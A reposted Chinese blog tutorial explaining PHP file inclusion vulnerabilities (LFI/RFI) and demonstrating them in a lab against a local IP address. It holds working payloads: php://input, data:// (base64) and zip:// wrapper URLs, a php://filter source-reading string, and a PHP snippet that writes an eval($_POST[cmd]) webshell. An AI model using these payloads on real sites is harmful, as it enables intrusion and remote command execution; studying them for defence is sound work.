任意文件包含漏洞原理解析及演示

本文转自行云博客https://www.xy586.top/

文章目录原理分类PHP文件包含的函数伪协议演示php://input 伪协议data://text/plain 伪协议zip:// 伪协议

原理

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。

分类

本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。

PHP文件包含的函数

include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。

include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次

require( )require()与 include()的区别在于 require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。

require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次

远程文件包含漏洞

当包含的文件在远程服务器上时,就形成了远程文件包含
远程文件包含的注意点:
1). 需要php.ini中allow_url_include = on以及allow_url_fopen=on
2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的,
那么包含的远程服务器文件后缀不能是php)

伪协议

data:text/plain 或 data:text/plain;base64
php://input
php://filter
file://
zip://

payload

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=;
include('php://input’);
include('php://filter/read=convert.base64-encode/resource=test.php');//用于读取源码
zip://2.zip%232.php

演示

本演示为通过伪协议获取webshell
测试的PHP文件
任意文件包含漏洞原理解析及演示

php://input 伪协议

使用burpsuite抓包再改包
Payload: http://192.168.232.128/file.php?a=php://input
任意文件包含漏洞原理解析及演示

更改请求方式为post
post过去的代码为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

任意文件包含漏洞原理解析及演示

再发包即可生成一个shell.php文件,然后使用蚁剑连接
任意文件包含漏洞原理解析及演示

data://text/plain 伪协议

将木马使用base64编码

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

编码之后

PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==

Payload:

http://192.168.232.128/file.php?a=data://text/plain;base64,PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==

使用该payload即可在网站根目录下生成shell.php文件,然后蚁剑连接
任意文件包含漏洞原理解析及演示

zip:// 伪协议

创建一个zip压缩包,里面含有带木马的PHP文件

Payload:http://192.168.232.128/file.php?a=zip://2.zip%232.php

其余步骤与data伪协议一样

关注博主即可阅读全文


原创:https://www.panoramacn.com
源码网提供WordPress源码,帝国CMS源码discuz源码,微信小程序,小说源码,杰奇源码,thinkphp源码,ecshop模板源码,微擎模板源码,dede源码,织梦源码等。

专业搭建小说网站,小说程序,杰奇系列,微信小说系列,app系列小说

任意文件包含漏洞原理解析及演示

免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。

您必须遵守我们的协议,如果您下载了该资源行为将被视为对《免责声明》全部内容的认可-> 联系客服 投诉资源
www.panoramacn.com资源全部来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除。 敬请谅解! 侵权删帖/违法举报/投稿等事物联系邮箱:2640602276@qq.com
未经允许不得转载:书荒源码源码网每日更新网站源码模板! » 任意文件包含漏洞原理解析及演示
关注我们小说电影免费看
关注我们,获取更多的全网素材资源,有趣有料!
120000+人已关注
分享到:
赞(0) 打赏

评论抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

您的打赏就是我分享的动力!

支付宝扫一扫打赏

微信扫一扫打赏